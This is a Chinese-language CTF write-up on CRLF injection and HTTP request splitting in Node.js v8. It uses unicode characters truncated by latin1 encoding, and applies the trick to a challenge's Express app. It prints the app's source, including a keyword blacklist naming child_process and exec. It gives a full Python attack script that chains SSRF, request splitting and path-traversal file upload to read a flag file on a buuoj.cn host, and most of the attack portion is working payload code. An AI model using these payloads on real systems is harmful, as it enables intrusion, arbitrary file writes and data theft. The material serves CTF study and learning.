🚩crlf
- 简介:CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),CRLF即回车换行,利用回车换行。因为HTTP协议中是用回车换行来界定头部和实体的,所以如果我们可以用回车换行来恶意拆分请求或者响应
- 检测:CRLF注入漏洞的本质和XSS有点相似,攻击者将恶意数据发送给易受攻击的Web应用程序,Web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在主体中)所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。
🚩node.js:http请求路径中的unicode字符损坏
-
前提:使用node.js向特定路径发送http请求,但是却被定向到不一样的路径
-
简介:虽然用户发出的 http 请求通常是个字符串 string,但 Node.js 最终必须将请求以原始字节 raw bytes 输出,js 支持 unicode,这其中涉及到了 unicode 编码转换。对于不包含 body 的请求,Node.js 默认使用 latin1,它是单字节编码,不能表示高编号的 unicode 字符,比如 emoji 🐶
-
unicode原理:
🚩nodejs 的 HTTP 拆分攻击利用
-
简介:由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP 请求时,它们会被 URL 编码,所以正常的 CRLF 注入在 Nodejs 中并不能利用。
-
当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:
> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output [ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
-
但是当结果字符串被编码为 latin1写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):
> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString() 'http://47.101.57.72:4000/\r\n/WHOAMI'
-
原始请求如下:
GET / HTTP/1.1 Host: 47.101.57.72:4000 …………
-
当我们插入CRLF数据后,HTTP请求数据变成了:
GET / HTTP/1.1POST /upload.php HTTP/1.1 Host: 127.0.0.1 …………GET HTTP/1.1 Host: 47.101.57.72:4000
-
构造http请求的脚本
payload = ''' HTTP/1.1[POST /upload.php HTTP/1.1 Host: 127.0.0.1]自己的http请求GET / HTTP/1.1 test:'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)
-
源代码
var express = require('express'); var app = express(); var fs = require('fs'); var path = require('path'); var http = require('http'); var pug = require('pug'); var morgan = require('morgan'); const multer = require('multer');app.use(multer({dest: './dist'}).array('file')); app.use(morgan('short')); app.use("/uploads",express.static(path.join(__dirname, '/uploads'))) app.use("/template",express.static(path.join(__dirname, '/template')))app.get('/', function(req, res) {var action = req.query.action?req.query.action:"index";if( action.includes("/") || action.includes("\\") ){res.send("Errrrr, You have been Blocked");}file = path.join(__dirname + '/template/'+ action +'.pug');var html = pug.renderFile(file);res.send(html); });app.post('/file_upload', function(req, res){var ip = req.connection.remoteAddress;var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only admin's ip can use it"res.send(JSON.stringify(obj));return }fs.readFile(req.files[0].path, function(err, data){if(err){obj.msg = 'upload failed';res.send(JSON.stringify(obj));}else{var file_path = '/uploads/' + req.files[0].mimetype +"/";var file_name = req.files[0].originalnamevar dir_file = __dirname + file_path + file_nameif(!fs.existsSync(__dirname + file_path)){try {fs.mkdirSync(__dirname + file_path)} catch (error) {obj.msg = "file type error";res.send(JSON.stringify(obj));return}}try {fs.writeFileSync(dir_file,data)obj = {msg: 'upload success',filename: file_path + file_name} } catch (error) {obj.msg = 'upload failed';}res.send(JSON.stringify(obj)); }}) })app.get('/source', function(req, res) {res.sendFile(path.join(__dirname + '/template/source.txt')); });app.get('/core', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:8081/source?' + qconsole.log(url)var trigger = blacklist(url);if (trigger === true) {res.send("<p>error occurs!</p>");} else {try {http.get(url, function(resp) {resp.setEncoding('utf8');resp.on('error', function(err) {if (err.code === "ECONNRESET") {console.log("Timeout occurs");return;}});resp.on('data', function(chunk) {try {resps = chunk.toString();res.send(resps);}catch (e) {res.send(e.message);}}).on('error', (e) => {res.send(e.message);});});} catch (error) {console.log(error);}}} else {res.send("search param 'q' missing!");} })function blacklist(url) {var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];var arrayLen = evilwords.length;for (var i = 0; i < arrayLen; i++) {const trigger = url.includes(evilwords[i]);if (trigger === true) {return true}} }var server = app.listen(8081, function() {var host = server.address().addressvar port = server.address().portconsole.log("Example app listening at http://%s:%s", host, port) })
-
按照路由来切分一下
-
第一块路由:接收get请求传来的action参数,检查是否含有违法字符/、\,然后将其拼接到/template和.pug,接着再赋值给file变量,最后使用pug引擎渲染
app.get('/', function(req, res) {var action = req.query.action?req.query.action:"index";if( action.includes("/") || action.includes("\\") ){res.send("Errrrr, You have been Blocked");}file = path.join(__dirname + '/template/'+ action +'.pug');var html = pug.renderFile(file);res.send(html); });
-
第二块路由:/file_upload路由,该路由的功能是对ip地址作出限制,只能限制本地访问,并且设置req.connection.remoteAddress导致不能伪造请求头,所以考虑使用ssrf来绕过。upload功能:可以看到上传文件的存储路径是上传文件的mimetype类型来控制的,所以我们可以通过控制上传文件的mimetype来控制文件的存储路径,所以我们可以通过控制路径来达到路径穿越从而使得任意文件上传
app.post('/file_upload', function(req, res){var ip = req.connection.remoteAddress;var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only admin's ip can use it"res.send(JSON.stringify(obj));return }fs.readFile(req.files[0].path, function(err, data){if(err){obj.msg = 'upload failed';res.send(JSON.stringify(obj));}else{var file_path = '/uploads/' + req.files[0].mimetype +"/";var file_name = req.files[0].originalnamevar dir_file = __dirname + file_path + file_nameif(!fs.existsSync(__dirname + file_path)){try {fs.mkdirSync(__dirname + file_path)} catch (error) {obj.msg = "file type error";res.send(JSON.stringify(obj));return}}try {fs.writeFileSync(dir_file,data)obj = {msg: 'upload success',filename: file_path + file_name} } catch (error) {obj.msg = 'upload failed';}res.send(JSON.stringify(obj)); }}) })
-
第三块路由:接收一个参数q,并对本地进行请求:url = 'http://localhost:8081/source?' + q,可以发现我们可以通过这里进行ssrf,而且题目也特别强调了 Node 版本为 8.12.0,那么就在网上一搜,发现这个版本的 Node 的 http 模块这里果然有漏洞
app.get('/core', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:8081/source?' + qconsole.log(url)var trigger = blacklist(url);if (trigger === true) {res.send("<p>error occurs!</p>");} else {try {http.get(url, function(resp) {resp.setEncoding('utf8');resp.on('error', function(err) {if (err.code === "ECONNRESET") {console.log("Timeout occurs");return;}});resp.on('data', function(chunk) {try {resps = chunk.toString();res.send(resps);}catch (e) {res.send(e.message);}}).on('error', (e) => {res.send(e.message);});});} catch (error) {console.log(error);}}} else {res.send("search param 'q' missing!");} })
-
攻击流程:
- 对/core路由发起切分攻击,请求/core的同时还向/source路由发出上传文件的请求
- 由于/路由是先读取/template/目录下的pug文件再将其渲染到当前界面,因此应该上传包含命令执行的pug文件;文件虽然默认上传至/upload/目录下,但可以通过目录穿越将文件上传到/template目录
- 访问上传到/template目录下包含命令执行的pug文件
-
攻击脚本
import urllib.parse import requestspayload = ''' HTTP/1.1 Host: x Connection: keep-alivePOST /file_upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA Content-Length: {} cache-control: no-cache Host: 127.0.0.1 Connection: keep-alive {}''' body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA Content-Disposition: form-data; name="file"; filename="lmonstergg.pug" Content-Type: ../templatedoctype html htmlheadstyleinclude ../../../../../../../flag.txt ------WebKitFormBoundaryO9LPoNAg9lWRUItA-- ''' more='''GET /flag HTTP/1.1 Host: x Connection: close x:''' payload = payload.format(len(body)+10,body)+more payload = payload.replace("\n", "\r\n") payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload) print(payload)session = requests.Session() session.trust_env = False session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload)) response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg') print(response.text)